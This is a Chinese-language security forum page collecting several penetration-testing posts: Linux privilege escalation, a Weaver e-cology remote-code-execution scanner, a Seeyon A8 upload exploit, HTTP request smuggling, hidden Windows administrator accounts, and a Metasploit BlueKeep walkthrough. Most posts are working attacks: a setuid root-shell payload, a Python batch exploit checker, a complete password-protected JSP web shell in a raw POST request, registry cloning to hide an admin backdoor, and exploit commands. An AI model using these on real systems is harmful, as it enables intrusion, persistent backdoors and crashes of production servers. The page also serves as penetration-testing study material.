通知设置 新通知
Linux提权(二)
系统安全 • llpkk 发表了文章 • 2 个评论 • 21 次浏览 • 8 小时前
上一次提权提到了内核漏洞本地提权,SUID提权,但是在面对复杂的服务器环境时需要了解更多的提权方法。上次在ny护网的时候搞到了一台Linux服务器的低权限oracle账号,然后尝试提权成功,所以有了这篇文章。
低内核版本提权
发行版本是rhel5.5内核版本是比较低的 2.6.18,但是脏牛漏洞是对内核版本大于2.6.22可以利用,所以我们可以利用tmp目录权限、suid 权限和C语言使普通帐号提权为ROOT权限。
1.进入tmp目录并创建目录exploit
cd /tmp
mkdir exploit
2.查看ping命令所具有的权限ll /bin/ping
3.创建target文件硬链接ln /bin/ping /tmp/exploit/target
4.查看target文件权限ll /tmp/exploit/target
5.把target文件加载到内存中exec 3< /tmp/exploit/target
6.查看target在内存的状态ll /proc/$$/fd/3
7.删除target文件rm -rf /tmp/exploit/
8.再次查看target在内存的状态ll /proc/$$/fd/3
9.创建一个c语言代码vim payload.c源码:
void __attribute__((constructor)) init() // 两个下划线
{
setuid(0);
system("/bin/bash");
}
10.利用gcc编译这段代码gcc -W -fPIC -shared -o /tmp/exploit payload.c
11.提升到root权限LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
ERROR: ld.so: object '$ORIGIN' cannot be loaded as audit interface: cannot open shared object file; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
等到执行完之后就是root权限了。这是一个老版本的gcc编译器漏洞了,虽然老,但是还是学习一下的好。
sudo配置错误
这个方法是在freebuf上的一篇文章上看到的,但是实际情况下还没有见到过。
1.查看 `/home/`目录下是否有.sudo_as_admin_successful文件,如果有的话直接可以输入当前低权限账号的密码直接sudo su切换为root用户。
原文链接:https://www.freebuf.com/vuls/211847.html
以下是原文的利用过程:
靶机 JIS-CTF-VulnUpload-CTF01 就是很好的一个案例。首先,利用 web 漏洞拿到低权账号 technawi 的 meterpreter 会话:
接着,翻找文件找到其密码:
然后,发现 home/ 中存在 .sudo_as_admin_successful 文件:
最后,用 technawi 自己的密码切换为 root 用户:
linux提权的方法有很多而且很复杂,目前先收集起来,待以后再仔细研究
查看全部
上一次提权提到了内核漏洞本地提权,SUID提权,但是在面对复杂的服务器环境时需要了解更多的提权方法。上次在ny护网的时候搞到了一台Linux服务器的低权限oracle账号,然后尝试提权成功,所以有了这篇文章。
低内核版本提权
发行版本是rhel5.5内核版本是比较低的 2.6.18,但是脏牛漏洞是对内核版本大于2.6.22可以利用,所以我们可以利用tmp目录权限、suid 权限和C语言使普通帐号提权为ROOT权限。
1.进入tmp目录并创建目录exploit
cd /tmp
mkdir exploit
2.查看ping命令所具有的权限
ll /bin/ping
3.创建target文件硬链接
ln /bin/ping /tmp/exploit/target
4.查看target文件权限
ll /tmp/exploit/target
5.把target文件加载到内存中
exec 3< /tmp/exploit/target
6.查看target在内存的状态
ll /proc/$$/fd/3
7.删除target文件
rm -rf /tmp/exploit/
8.再次查看target在内存的状态
ll /proc/$$/fd/3
9.创建一个c语言代码
vim payload.c源码:
void __attribute__((constructor)) init() // 两个下划线
{
setuid(0);
system("/bin/bash");
}
10.利用gcc编译这段代码
gcc -W -fPIC -shared -o /tmp/exploit payload.c
11.提升到root权限
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
ERROR: ld.so: object '$ORIGIN' cannot be loaded as audit interface: cannot open shared object file; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
等到执行完之后就是root权限了。这是一个老版本的gcc编译器漏洞了,虽然老,但是还是学习一下的好。
sudo配置错误
这个方法是在freebuf上的一篇文章上看到的,但是实际情况下还没有见到过。
1.查看 `/home/`目录下是否有.sudo_as_admin_successful文件,如果有的话直接可以输入当前低权限账号的密码直接sudo su切换为root用户。
原文链接:https://www.freebuf.com/vuls/211847.html
以下是原文的利用过程:
靶机 JIS-CTF-VulnUpload-CTF01 就是很好的一个案例。首先,利用 web 漏洞拿到低权账号 technawi 的 meterpreter 会话:
接着,翻找文件找到其密码:
然后,发现 home/ 中存在 .sudo_as_admin_successful 文件:
最后,用 technawi 自己的密码切换为 root 用户:
linux提权的方法有很多而且很复杂,目前先收集起来,待以后再仔细研究
泛微OA远程代码执行
渗透测试 • sq_smile 发表了文章 • 1 个评论 • 31 次浏览 • 9 小时前
该漏洞CNVD编号:CNVD-2019-32204
0x02 影响版本: 泛微e-cology<=9.0
0x03 漏洞复现
1、正常页面:
2、在网站根目录下加上:/weaver/bsh.servlet.BshServlet/
3、在Script的框中输入payload并且点击文本框下边的"Evaluate"
从上图中可以看到,当前用户是system权限。则说明命令成功执行,当然漏洞也是存在的。
0x04 漏洞后续:
参考链接:
https://www.cnblogs.com/paperpen/p/11586244.html
https://www.cnvd.org.cn/flaw/show/CNVD-2019-32204
poc:import requests
import argparse
def verify(url,payload):
#Furl=url+"/bshservlet/eval" #实验环境
Furl=url+"/weaver/bsh.servlet.BshServle"
with open("vlun_list.txt",'a') as vList:
try:
res = requests.post(Furl, data = payload)
#print(res.text)
if res.status_code == 200 :
if "Error:" not in res.text:
print(url + " is a vlun [Verify Success!]\n")
#print(res.text)
vList.write(url+'\n')
else:
print(url + "Verify Failed! not a vlun\n")
else:
print(str(res.status_code)+url+" Verify Failed! not a vlun \n")
except Exception:
raise Exception("Connet Failed!")
def ecologyexp(urls,mode):
payload={"bsh.script":"exec(\"whoami\")","bsh.servlet.output":"raw"}
if mode == '1':
verify(urls,payload)
elif mode == '2':
with open(urls) as uFile:
for url in uFile.readlines():
try:
verify(url,payload)
except Exception as e:
print(e)
continue
else:
pass
parser = argparse.ArgumentParser(description='e-cology verify',epilog="python e-cology-EXP.py -u url -m 1 || python e-cology-EXP.py -ul url.txt -m 2")
parser.add_argument('--url', '-u', help='url 属性,需检测站点的url')
parser.add_argument('--mode', '-m', help='mode 属性,单点检测||批量检测{1:url,2:urlList}', default='1')
parser.add_argument('--urlList', '-ul', help='urlList 属性,url列表')
parser.add_argument('--level', '-lv', help='level 属性,普通检测||高级检测{1:normal,2:pro}', default='1')
args = parser.parse_args()
if __name__ == '__main__':
with open("vlun_list.txt",'w') as vF:
vF.write("vlun_list\n")
try:
if args.urlList is not None:
ecologyexp(args.urlList,args.mode)
else:
ecologyexp(args.url,args.mode)
except Exception as e:
print(e) 使用方法:使用 -h 查看使用方法
单点检测 model1: python e-cology-poc.py -u url
批量检测 model2: python e-cology-poc.py -ul url.txt -m 2
查看全部
2019年9月19日,泛微e-cology OA系统被爆出存在远程代码执行漏洞。该漏洞存在于泛微协同管理应用平台OA系统的BeanShell组件中,该组件为系统自带且允许未授权访问。攻击者通过调用BeanShell组件的问题接口可直接在目标服务器上执行任意命令,目前该漏洞安全补丁已发布,请使用泛微e-cology OA系统的用户尽快采取防护措施。
该漏洞CNVD编号:CNVD-2019-32204
0x02 影响版本:
泛微e-cology<=9.0
0x03 漏洞复现
1、正常页面:
2、在网站根目录下加上:/weaver/bsh.servlet.BshServlet/
3、在Script的框中输入payload并且点击文本框下边的"Evaluate"
从上图中可以看到,当前用户是system权限。则说明命令成功执行,当然漏洞也是存在的。
0x04 漏洞后续:
参考链接:
https://www.cnblogs.com/paperpen/p/11586244.html
https://www.cnvd.org.cn/flaw/show/CNVD-2019-32204
poc:
import requests使用方法:
import argparse
def verify(url,payload):
#Furl=url+"/bshservlet/eval" #实验环境
Furl=url+"/weaver/bsh.servlet.BshServle"
with open("vlun_list.txt",'a') as vList:
try:
res = requests.post(Furl, data = payload)
#print(res.text)
if res.status_code == 200 :
if "Error:" not in res.text:
print(url + " is a vlun [Verify Success!]\n")
#print(res.text)
vList.write(url+'\n')
else:
print(url + "Verify Failed! not a vlun\n")
else:
print(str(res.status_code)+url+" Verify Failed! not a vlun \n")
except Exception:
raise Exception("Connet Failed!")
def ecologyexp(urls,mode):
payload={"bsh.script":"exec(\"whoami\")","bsh.servlet.output":"raw"}
if mode == '1':
verify(urls,payload)
elif mode == '2':
with open(urls) as uFile:
for url in uFile.readlines():
try:
verify(url,payload)
except Exception as e:
print(e)
continue
else:
pass
parser = argparse.ArgumentParser(description='e-cology verify',epilog="python e-cology-EXP.py -u url -m 1 || python e-cology-EXP.py -ul url.txt -m 2")
parser.add_argument('--url', '-u', help='url 属性,需检测站点的url')
parser.add_argument('--mode', '-m', help='mode 属性,单点检测||批量检测{1:url,2:urlList}', default='1')
parser.add_argument('--urlList', '-ul', help='urlList 属性,url列表')
parser.add_argument('--level', '-lv', help='level 属性,普通检测||高级检测{1:normal,2:pro}', default='1')
args = parser.parse_args()
if __name__ == '__main__':
with open("vlun_list.txt",'w') as vF:
vF.write("vlun_list\n")
try:
if args.urlList is not None:
ecologyexp(args.urlList,args.mode)
else:
ecologyexp(args.url,args.mode)
except Exception as e:
print(e)
使用 -h 查看使用方法
单点检测 model1: python e-cology-poc.py -u url
批量检测 model2: python e-cology-poc.py -ul url.txt -m 2
致远 OA A8远程Getshell
渗透测试 • fireant 发表了文章 • 1 个评论 • 28 次浏览 • 22 小时前
今年6月,360CERT 监测到致远 A8+ 某些版本系统,存在远程任意文件上传文件上传漏洞,并且无需登录即可触发。攻击者构造恶意文件,成功利用漏洞后可造成Getshell
0x01 影响版本
致远A8-V5协同管理软件 V6.1sp1致远A8+协同管理软件 V7.0、V7.0sp1、V7.0sp2、V7.0sp3致远A8+协同管理软件 V7.1
0x02 漏洞利用
一,访问漏洞路径/seeyon/htmlofficeservlet
出现如下内容则表示存在漏洞
二,使用Burp抓包,上EXP
回包如上图则就算是成功写入
三,调用命令执行
访问/test123456.jsp?pwd=asasd3344&cmd=cmd%20+/c+whoami
0x03 EXP
POST包POST /seeyon/htmlofficeservlet HTTP/1.1
Content-Length: 1121
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: xxxxxxxxx
Pragma: no-cache
DBSTEP V3.0 355 0 666 DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("asasd3344".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce 查看全部
今年6月,360CERT 监测到致远 A8+ 某些版本系统,存在远程任意文件上传文件上传漏洞,并且无需登录即可触发。攻击者构造恶意文件,成功利用漏洞后可造成Getshell
0x01 影响版本
- 致远A8-V5协同管理软件 V6.1sp1
- 致远A8+协同管理软件 V7.0、V7.0sp1、V7.0sp2、V7.0sp3
- 致远A8+协同管理软件 V7.1
0x02 漏洞利用
一,访问漏洞路径
/seeyon/htmlofficeservlet
出现如下内容则表示存在漏洞
二,使用Burp抓包,上EXP
回包如上图则就算是成功写入
三,调用命令执行
访问/test123456.jsp?pwd=asasd3344&cmd=cmd%20+/c+whoami
0x03 EXP
POST包
POST /seeyon/htmlofficeservlet HTTP/1.1
Content-Length: 1121
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: xxxxxxxxx
Pragma: no-cache
DBSTEP V3.0 355 0 666 DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("asasd3344".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce
http请求走私
渗透测试 • willeson 发表了文章 • 0 个评论 • 37 次浏览 • 2 天前
就其本身而言,这是无害的。但是,现代网站由系统链组成,所有系统都通过HTTP进行通信。这种多层体系结构接收来自多个不同用户的HTTP请求,并通过单个TCP / TLS连接路由它们:
这意味着突然之间,后端与前端就每个消息的结束位置达成一致至关重要。否则,攻击者可能能够发送模糊的消息,该消息被后端解释为两个不同的HTTP请求:这使攻击者能够在下一个合法用户的请求开始时添加任意内容。在整个本文中,被走私的内容将被称为“前缀”,并以橙色突出显示。
让我们想象一下,前端优先考虑第一个内容长度标头,而后端优先考虑第二个内容长度标头。从后端的角度来看,TCP流可能类似于:POST / HTTP/1.1
Host: example.com
Content-Length: 6
Content-Length: 5
12345GPOST / HTTP/1.1
Host: example.com
…在后台,前端将蓝色和橙色数据转发到后端,后端仅在发出响应之前读取蓝色内容。这会使后端套接字充满橙色数据。当合法的绿色请求到达时,它最终会附加在橙色内容上,从而导致意外的响应。
在此示例中,注入的“ G”将破坏绿色用户的请求,并且他们很可能会获得“未知方法GPOST”的响应。
在html规范中由于规定了“[size=16]如果收到的消息同时带有一个Transfer-Encoding头域和一个Content-Length头域,则后者必须被忽略。[/size]”所以很少有服务器会拒绝此类请求。
检测:检测请求走私漏洞的一种明显方法是发出一个模棱两可的请求,然后发出一个正常的“受害者”请求,然后观察后者是否收到意外响应。但是,这极易受到干扰。如果另一个用户的请求在我们的受害者请求之前命中了中毒的套接字,那么他们将获得损坏的响应,我们将不会发现该漏洞。这意味着在流量很大的实时站点上,如果不利用大量真实用户,就很难证明存在请求走私行为。即使在没有其他流量的站点上,您也会因为服务器终止连接引起的误报的风险。
为了解决这个问题,James Kettle开发了一种检测策略,该策略使用一系列消息使脆弱的后端系统挂起并超时连接。该技术几乎没有误报,可以抵制可能导致误报的应用程序错误,而且最重要的是几乎没有影响其他用户的风险。
1,CL.TE: 前端服务器使用Content-Length头,后端服务器使用Transfer-Encoding头
这是一个正常POST的请求。
这是一个http smuggling 的请求,这里我们看到后端返回给我们的是未知请求“GPOST”,所以我们可以确认“G”是已经被带到了下一个用户的请求头上。
由于后端使用TE头接收数据,但是0在TE分块规则中代表结束,所以后端在解析到0时就认为这个数据包已经结束了,而后面的“G”会等待下一个用户的请求而附加在下一个请求的头部。
2,TE.CL: 前端服务器使用Transfer-Encoding标头,而后端服务器使用Content-Length标头
这是个正常的请求。
这是一个http smuggling 的请求,这里们看到后端返回给我们的是未知请求“G0POST”,所以这个地方存在http smuggling漏洞。
是因为我们在前端使用了一个较短的content-Length长度,这里需要注意的是要关掉burp的自动更新长度的功能,请求包的最后面要加两个回车换行,要不然会失败。
前端服务器处理Transfer-Encoding标头,因此将消息正文视为使用分块编码。它处理第一个块,声明为8个字节长,直到“G”之后的行的开始。它处理第二个数据块,该数据块的长度为零,因此被视为终止请求。该请求被转发到后端服务器。
后端服务器处理Content-Length标头,并确定请求正文的长度为3个字节,直到之1后的行的开头。接下来的字节未经处理,后端服务器会将其视为序列中下一个请求的开始。
3, TE.TETransfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding: chunked这些技术中的每一种都涉及到与HTTP规范的细微偏离。实现协议规范的实际代码难以十分精准体现,并且不同的实现通常包含不同变化。要发现TE.TE漏洞,有必要找到Transfer-Encoding标头的一些变体,以便只有一个前端或后端服务器处理它,而另一个服务器忽略它。
这个漏洞核心是多个Transfer-Encoding标头的混淆。
修复:禁用后端连接的重用,以便每个后端请求通过单独的网络连接发送。
使用HTTP/2.0 进行后端连接,因为此协议可防止对请求之间的边界产生歧义。
前端服务器和后端服务器使用完全相同的Web服务器软件,以便它们就请求之间的界限达成一致。参考:https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn 查看全部
从HTTP/1.1开始,广泛支持通过单个基础TCP或SSL / TLS套接字发送多个HTTP请求。该协议非常简单-HTTP请求简单地背对背放置,服务器解析标头以计算出每个结束的位置以及下一个开始的位置。这通常与HTTP流水线混淆,HTTP流水线是一种稀有的子类型,对于本文中描述的攻击而言并不是必需的。
就其本身而言,这是无害的。但是,现代网站由系统链组成,所有系统都通过HTTP进行通信。这种多层体系结构接收来自多个不同用户的HTTP请求,并通过单个TCP / TLS连接路由它们:
这意味着突然之间,后端与前端就每个消息的结束位置达成一致至关重要。否则,攻击者可能能够发送模糊的消息,该消息被后端解释为两个不同的HTTP请求:
这使攻击者能够在下一个合法用户的请求开始时添加任意内容。在整个本文中,被走私的内容将被称为“前缀”,并以橙色突出显示。
让我们想象一下,前端优先考虑第一个内容长度标头,而后端优先考虑第二个内容长度标头。从后端的角度来看,TCP流可能类似于:
POST / HTTP/1.1
Host: example.com
Content-Length: 6
Content-Length: 5
12345GPOST / HTTP/1.1
Host: example.com
…
在后台,前端将蓝色和橙色数据转发到后端,后端仅在发出响应之前读取蓝色内容。这会使后端套接字充满橙色数据。当合法的绿色请求到达时,它最终会附加在橙色内容上,从而导致意外的响应。
在此示例中,注入的“ G”将破坏绿色用户的请求,并且他们很可能会获得“未知方法GPOST”的响应。
在html规范中由于规定了“[size=16]如果收到的消息同时带有一个Transfer-Encoding头域和一个Content-Length头域,则后者必须被忽略。[/size]”所以很少有服务器会拒绝此类请求。
检测:
检测请求走私漏洞的一种明显方法是发出一个模棱两可的请求,然后发出一个正常的“受害者”请求,然后观察后者是否收到意外响应。但是,这极易受到干扰。如果另一个用户的请求在我们的受害者请求之前命中了中毒的套接字,那么他们将获得损坏的响应,我们将不会发现该漏洞。这意味着在流量很大的实时站点上,如果不利用大量真实用户,就很难证明存在请求走私行为。即使在没有其他流量的站点上,您也会因为服务器终止连接引起的误报的风险。
为了解决这个问题,James Kettle开发了一种检测策略,该策略使用一系列消息使脆弱的后端系统挂起并超时连接。该技术几乎没有误报,可以抵制可能导致误报的应用程序错误,而且最重要的是几乎没有影响其他用户的风险。
1,CL.TE: 前端服务器使用Content-Length头,后端服务器使用Transfer-Encoding头
这是一个正常POST的请求。
这是一个http smuggling 的请求,这里我们看到后端返回给我们的是未知请求“GPOST”,所以我们可以确认“G”是已经被带到了下一个用户的请求头上。2,TE.CL: 前端服务器使用Transfer-Encoding标头,而后端服务器使用Content-Length标头
由于后端使用TE头接收数据,但是0在TE分块规则中代表结束,所以后端在解析到0时就认为这个数据包已经结束了,而后面的“G”会等待下一个用户的请求而附加在下一个请求的头部。
这是个正常的请求。
这是一个http smuggling 的请求,这里们看到后端返回给我们的是未知请求“G0POST”,所以这个地方存在http smuggling漏洞。
是因为我们在前端使用了一个较短的content-Length长度,这里需要注意的是要关掉burp的自动更新长度的功能,请求包的最后面要加两个回车换行,要不然会失败。
前端服务器处理Transfer-Encoding标头,因此将消息正文视为使用分块编码。它处理第一个块,声明为8个字节长,直到“G”之后的行的开始。它处理第二个数据块,该数据块的长度为零,因此被视为终止请求。该请求被转发到后端服务器。
后端服务器处理Content-Length标头,并确定请求正文的长度为3个字节,直到之1后的行的开头。接下来的字节未经处理,后端服务器会将其视为序列中下一个请求的开始。
3, TE.TE
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding: chunked
这些技术中的每一种都涉及到与HTTP规范的细微偏离。实现协议规范的实际代码难以十分精准体现,并且不同的实现通常包含不同变化。要发现TE.TE漏洞,有必要找到Transfer-Encoding标头的一些变体,以便只有一个前端或后端服务器处理它,而另一个服务器忽略它。
这个漏洞核心是多个Transfer-Encoding标头的混淆。
修复:
禁用后端连接的重用,以便每个后端请求通过单独的网络连接发送。参考:https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
使用HTTP/2.0 进行后端连接,因为此协议可防止对请求之间的边界产生歧义。
前端服务器和后端服务器使用完全相同的Web服务器软件,以便它们就请求之间的界限达成一致。
Windows创建隐藏用户
渗透测试 • wuyou 发表了文章 • 0 个评论 • 30 次浏览 • 2 天前
为什么不直接抓admin的密码呢?因为我之前对某目标做渗透时吃了次亏,在正常的使用MSF抓密码的过程中不知道对哪里造成了损害,导致目标的admin密码被销毁,然后就登录不上......当然,抓admin的密码并登录也是可以收获很多有用的东西的,说不定桌面就放了一份密码表,但这要在已经成功创建好一个隐藏账号的前提下进行。
首先创建一个账号,Windows下以"$"结尾的就是一个隐藏账号,然后将这个账号添加入Admin组中。net user wuyou$ 123456 /add
net localgroup administrators wuyou$ /add
如上图,使用"net user"查看时没有新创建的"wuyou$"用户
但是,在 计算机管理 -> 本地用户和组 中还是可以找到这个隐藏账号
所以说我们现在创建的这个隐藏账号的隐蔽性还不够高,还需要再进行一步操作。
打开注册表,找到下面这个位置HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
由于SAM键值默认是只能system权限修改的,所以我们要修改一下SAM键的权限,给予administrator完全控制和读取的权限(右键,然后点击权限,给予完全控制权限后重新打开注册表)
可以看到000001F4对应admin账号(随机生成一个十六进制来对应账号的name)
然后将注册表导出
将隐藏账号的F键的值替换成admin的F键的值
然后在cmd下删除之前创建的隐藏账号net user wuyou$ /del
然后双击执行我们之前导出并修改了的注册表文件
可以看到这个账号已成功添加入注册表中
但是在本地用户和组中找不到
而且可以进行远程桌面连接
当然,这种隐藏账号在注册表中是可以找到的,当我们想要删除这个隐藏账号时就需要从注册表下手了。
查看全部
为什么不直接抓admin的密码呢?因为我之前对某目标做渗透时吃了次亏,在正常的使用MSF抓密码的过程中不知道对哪里造成了损害,导致目标的admin密码被销毁,然后就登录不上......当然,抓admin的密码并登录也是可以收获很多有用的东西的,说不定桌面就放了一份密码表,但这要在已经成功创建好一个隐藏账号的前提下进行。
首先创建一个账号,Windows下以"$"结尾的就是一个隐藏账号,然后将这个账号添加入Admin组中。
net user wuyou$ 123456 /add
net localgroup administrators wuyou$ /add
如上图,使用"net user"查看时没有新创建的"wuyou$"用户
但是,在 计算机管理 -> 本地用户和组 中还是可以找到这个隐藏账号
所以说我们现在创建的这个隐藏账号的隐蔽性还不够高,还需要再进行一步操作。
打开注册表,找到下面这个位置
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
由于SAM键值默认是只能system权限修改的,所以我们要修改一下SAM键的权限,给予administrator完全控制和读取的权限(右键,然后点击权限,给予完全控制权限后重新打开注册表)
可以看到000001F4对应admin账号(随机生成一个十六进制来对应账号的name)
然后将注册表导出
将隐藏账号的F键的值替换成admin的F键的值
然后在cmd下删除之前创建的隐藏账号
net user wuyou$ /del
然后双击执行我们之前导出并修改了的注册表文件
可以看到这个账号已成功添加入注册表中
但是在本地用户和组中找不到
而且可以进行远程桌面连接
当然,这种隐藏账号在注册表中是可以找到的,当我们想要删除这个隐藏账号时就需要从注册表下手了。
RDP漏洞CVE-2019-0708复现
系统安全 • llpkk 发表了文章 • 2 个评论 • 313 次浏览 • 2019-09-11 23:58
在2019年5月,微软发布了针对远程代码执行漏洞CVE-2019-0708的补丁更新,该漏洞也称为“BlueKeep”,漏洞存在于远程桌面服务(RDS)的代码中。此漏洞是预身份验证,无需用户交互,因此具有潜在武器化蠕虫性性漏洞利用的危险。如果成功利用此漏洞,则可以使用“系统”权限执行任意代码。Microsoft安全响应中心的建议表明这个漏洞也可能会成为一种蠕虫攻击行为,类似于Wannacry和EsteemAudit等攻击行为。由于此漏洞的严重性及其对用户的潜在影响,微软采取了罕见的预警步骤,为不再受支持的Windows XP操作系统发布补丁,以保护Windows用户。
自该补丁于5月发布以来,该漏洞受到了安全行业的广泛关注,在野利用漏洞只是时间问题。
在9月7号的凌晨GitHub上公布可利用的EXP,可是正忙于项目无法及时复现。于是今晚趁着无聊复现一波,环境如下。
攻击机ip(kali linux):192.168.1.105
靶 机ip(win7 SP1) :192.168.1.106
win7 SP1 镜像地址:ed2k://|file|cn_windows_7_professional_with_sp1_x64_dvd_u_677031.iso|3420557312|430BEDC0F22FA18001F717F7AF08C9D5|/
CVE-2019-0708套件:https://pan.baidu.com/s/1HqmKbp4ZjMsUm0gRlTEVFQ 提取码: vkqw
0x02 复现过程
复现的时候也是有很多问题,我使用的metasploit的版本是5.0.22,所以无法适配最新的cve-2019-0708漏洞的套件,所以要在kali中更新一波metasploit。
执行两行代码可直接更新:apt-get update
apt-get install metasploit-framework
更新过后即可将套件放至各个模块文件下,但是在这个过程中我所看到的博客里面看到的都是一个路径,而这个路径是手动安装metasploit时候的安装路径,所以在放至路径的时候出错将会出现如下错误。[-] 192.168.1.106:3389 - Exploit failed: NameError undefined local variable or method `rdp_connect' for #<Msf::Modules::Exploit__Windows__Rdp__Cve_2019_0708_bluekeep_rce::MetasploitModule:0x00007f9c251837b0>复现过程中这个也是最浪费时间的一个地方了,最后在kali linux 论坛中找到了kali中metasploit的模块路径。在下载套件之后将文件移动到各个文件夹下即可rdp.rb -> /usr/share/metasploit-framework/lib/msf/core/exploit
rdp_scanner.rb -> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp
cve_2019_0708_bluekeep.rb -> /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp
cve_2019_0708_bluekeep_rce.rb -> /usr/share/metasploit-framework/modules/exploits/windows/rdp
需要注意如果没有目录就去创建个。
接下来就可以进入metasploit控制台操作了,进入之后先要重新加载所有模块reload_all之后直接搜索0708漏洞。msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > search 0708
=======
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/rdp/cve_2019_0708_bluekeep 2019-05-14 normal Yes CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check
1 exploit/windows/browser/clear_quest_cqole 2012-05-19 normal No IBM Rational ClearQuest CQOle Remote Code Execution
2 exploit/windows/browser/tumbleweed_filetransfer 2008-04-07 great No Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow
3 exploit/windows/rdp/cve_2019_0708_bluekeep_rce 2019-05-14 manual Yes CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free
4 auxiliary/windows/rdp/cve_2019_0708_bluekeep 2019-05-14 normal Yes CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set rhosts 192.168.1.106
set target 3
exploit
target 参数在其他各个博客当中都讲到如果是VMware需要设置为3,所以我依照参考设置为3。
现在就是开开心心的等待shell的出现啦
等了大概两分钟,,终于结果出来了!!目标直接蓝屏!!?难道这是蓝屏的EXP!?
于是我又尝试了两三次,,结果靶机依然是蓝屏崩溃,,这如果是生产环境可不得了。
最后继续看别人博客发的文章,发现也没有什么区别的,无奈之下我只好改变target参数的值了。set target 1
exploit
随后进入的就是漫长的等待了,正当要绝望,准备设置为参数2的时候,他来了,他来了,他真的来了~~
赶紧回头看看靶机有没有什么异常
激动的时候我又在想,为什么 target 1 的时候能够成功拿下shell,看了一下info信息之后只有 target 1 后面没有什么特殊的环境限制,可能就会兼容的更多一些??
CVE-2019-0708拿下shell之后直接为SYSTEM权限
至此复现结束。
0x03 漏洞危害
目前公布的影响范围:Windows 7
Windows Server 2008 R2
Windows Server 2008
Windows 2003
Windows XP
该漏洞的影响范围巨大,甚至能和MS17-010相媲美,但是在实际利用过程中也可能造成实际生产环境的破坏,所以在检测是还是用scanner中的检测模块较好。
参考:
http://kalilinux.com.cn/index.php/archives/82/
